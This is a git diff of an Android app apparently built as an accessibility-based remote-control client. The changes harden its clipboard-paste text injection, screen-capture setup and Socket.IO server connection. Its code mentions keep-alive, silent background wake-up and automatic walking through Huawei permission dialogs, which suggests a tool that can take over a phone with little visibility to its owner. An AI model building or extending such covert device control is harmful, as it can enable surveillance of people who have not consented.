diff --git a/app/src/main/java/com/hikoncont/MainActivity.kt b/app/src/main/java/com/hikoncont/MainActivity.kt index a92368b..52f3d01 100644 --- a/app/src/main/java/com/hikoncont/MainActivity.kt +++ b/app/src/main/java/com/hikoncont/MainActivity.kt @@ -404,7 +404,16 @@ class MainActivity : AppCompatActivity() { } registerReceiver(combinedBroadcastReceiver, filter) - // ✅ 新增:记录应用启动次数,用于保活检测 + // Initialize MediaProjectionManager early to avoid null in any code path + try { + mediaProjectionManager = + getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager + Log.i(TAG, "MediaProjectionManager initialized successfully") + } catch (e: Exception) { + Log.e(TAG, "Failed to initialize MediaProjectionManager", e) + } + + // Record app launch count for keep-alive detection recordAppLaunch() // ✅ 新增:检查是否为无闪现后台唤起 @@ -673,10 +682,7 @@ class MainActivity : AppCompatActivity() { handleGalleryPermissionRequest() handleMicrophonePermissionRequest() - // 初始化MediaProjectionManager - mediaProjectionManager = - getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager - + // MediaProjectionManager already initialized at the top of onCreate // 处理Intent handleIntentAndPermissions(intent) diff --git a/app/src/main/java/com/hikoncont/manager/InputController.kt b/app/src/main/java/com/hikoncont/manager/InputController.kt index cae9a64..529bb8c 100644 --- a/app/src/main/java/com/hikoncont/manager/InputController.kt +++ b/app/src/main/java/com/hikoncont/manager/InputController.kt @@ -23,6 +23,23 @@ class InputController(private val service: AccessibilityRemoteService) { private val context: Context = service private val clipboardManager = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager + /** + * Safe clipboard write - checks if the service can access clipboard + * Android 10+ restricts clipboard access to foreground apps only + */ + private fun safeSetClipboard(clipData: ClipData): Boolean { + return try { + clipboardManager.setPrimaryClip(clipData) + true + } catch (e: SecurityException) { + Log.w(TAG, "Clipboard access denied (app not in foreground): ${e.message}") + false + } catch (e: Exception) { + Log.w(TAG, "Clipboard operation failed: ${e.message}") + false + } + } + /** * 输入文本 - 智能输入策略 */ @@ -118,11 +135,14 @@ class InputController(private val service: AccessibilityRemoteService) { */ private fun tryClipboardPaste(text: String): Boolean { return try { - // 1. 将文本复制到剪贴板 + // 1. Safe clipboard write val clipData = ClipData.newPlainText("remote_input", text) - clipboardManager.setPrimaryClip(clipData) + if (!safeSetClipboard(clipData)) { + Log.w(TAG, "Clipboard paste skipped: clipboard access denied") + return false + } - // 2. 模拟粘贴操作 + // 2. Perform paste action val focusedNode = findFocusedInputNode() focusedNode?.let { node -> val result = node.performAction(AccessibilityNodeInfo.ACTION_PASTE) @@ -131,7 +151,7 @@ class InputController(private val service: AccessibilityRemoteService) { } ?: false } catch (e: Exception) { - Log.w(TAG, "剪贴板粘贴失败", e) + Log.w(TAG, "Clipboard paste failed", e) false } } @@ -189,29 +209,30 @@ class InputController(private val service: AccessibilityRemoteService) { return try { val focusedNode = findFocusedInputNode() focusedNode?.let { node -> - // 获取当前文本 val currentText = node.text?.toString() ?: "" - // 追加新字符 val newText = currentText + char - // 将新文本复制到剪贴板 + // Safe clipboard write val clipData = ClipData.newPlainText("remote_append", newText) - clipboardManager.setPrimaryClip(clipData) + if (!safeSetClipboard(clipData)) { + Log.w(TAG, "Clipboard append skipped: clipboard access denied") + node.recycle() + return false + } - // 先清空再粘贴 + // Clear then paste val clearBundle = Bundle().apply { putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, "") } node.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, clearBundle) - // 粘贴新内容 val result = node.performAction(AccessibilityNodeInfo.ACTION_PASTE) node.recycle() result } ?: false } catch (e: Exception) { - Log.w(TAG, "剪贴板追加失败", e) + Log.w(TAG, "Clipboard append failed", e) false } } diff --git a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt index c3634fa..fe74ab8 100644 --- a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt +++ b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt @@ -271,22 +271,34 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB /** - * 连接到Socket.IO v4服务器 + * Connect to Socket.IO v4 server */ suspend fun connect(serverUrl: String) { try { - this.serverUrl = serverUrl // 保存服务器地址 - Log.i(TAG, "🚀 连接到Socket.IO v4服务器: $serverUrl") + this.serverUrl = serverUrl + Log.i(TAG, "Connecting to Socket.IO v4 server: $serverUrl") - // ✅ 新增:验证配置一致性 + // Validate server URL format + if (serverUrl.isBlank()) { + Log.e(TAG, "Server URL is empty, cannot connect") + return + } + + // Validate URL format + val validatedUrl = try { + java.net.URI.create(serverUrl) + serverUrl + } catch (e: Exception) { + Log.e(TAG, "Invalid server URL format: $serverUrl", e) + return + } + + // Config consistency check val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service) if (savedUrl != null && savedUrl != serverUrl) { - Log.w(TAG, "⚠️ 配置不一致!当前连接地址: $serverUrl, 配置文件地址: $savedUrl") - Log.i(TAG, "🔄 使用配置文件中的地址重新连接: $savedUrl") + Log.w(TAG, "Config mismatch! Current: $serverUrl, Config: $savedUrl, using config URL") connect(savedUrl) return - } else if (savedUrl == serverUrl) { - Log.i(TAG, "✅ 配置验证通过,地址一致: $serverUrl") } // ✅ Socket.IO v4客户端配置 - 增强稳定性优化 + 随机化重连避免雪崩 @@ -425,8 +437,21 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } socket.on(Socket.EVENT_CONNECT_ERROR) { args -> - val error = if (args.isNotEmpty()) args[0].toString() else "unknown" - Log.e(TAG, "Socket.IO v4 连接错误: $error") + val error = if (args.isNotEmpty()) args[0] else null + val errorMsg = error?.toString() ?: "unknown" + // Downgrade to WARN for expected transient errors (xhr poll = server unreachable) + val isTransientError = errorMsg.contains("xhr poll error") || + errorMsg.contains("timeout") || + errorMsg.contains("websocket error") + if (isTransientError) { + Log.w(TAG, "Socket.IO connection error (transient, will auto-retry): $errorMsg") + } else { + Log.e(TAG, "Socket.IO connection error: $errorMsg") + } + // Log root cause if available + if (error is Exception && error.cause != null) { + Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}") + } connectionFailureCount++ updateNetworkQualityScore(false, "connect_error", 0) } diff --git a/app/src/main/java/com/hikoncont/service/modules/HuaweiAuthorizationHandler.kt b/app/src/main/java/com/hikoncont/service/modules/HuaweiAuthorizationHandler.kt index eafff1c..84360a1 100644 --- a/app/src/main/java/com/hikoncont/service/modules/HuaweiAuthorizationHandler.kt +++ b/app/src/main/java/com/hikoncont/service/modules/HuaweiAuthorizationHandler.kt @@ -958,14 +958,22 @@ class HuaweiAuthorizationHandler( * 尝试输入搜索文本(使用剪贴板粘贴) */ private fun tryInputSearchText(searchText: String = "悬浮窗"): Boolean { - Log.d(TAG, "🔍 尝试通过剪贴板粘贴搜索文本") + Log.d(TAG, "尝试通过剪贴板粘贴搜索文本") try { - // 1. 将"悬浮窗"复制到剪贴板 + // 1. Safe clipboard write - may fail if app is not in foreground val clipboardManager = context.getSystemService(Context.CLIPBOARD_SERVICE) as android.content.ClipboardManager val clipData = android.content.ClipData.newPlainText("search_text", searchText) - clipboardManager.setPrimaryClip(clipData) - Log.d(TAG, "✅ 已将'${searchText}'复制到剪贴板") + try { + clipboardManager.setPrimaryClip(clipData) + Log.d(TAG, "已将'${searchText}'复制到剪贴板") + } catch (e: SecurityException) { + Log.w(TAG, "剪贴板访问被拒绝(非前台应用): ${e.message}") + return false + } catch (e: Exception) { + Log.w(TAG, "剪贴板操作失败: ${e.message}") + return false + } // 2. 等待一下确保剪贴板操作完成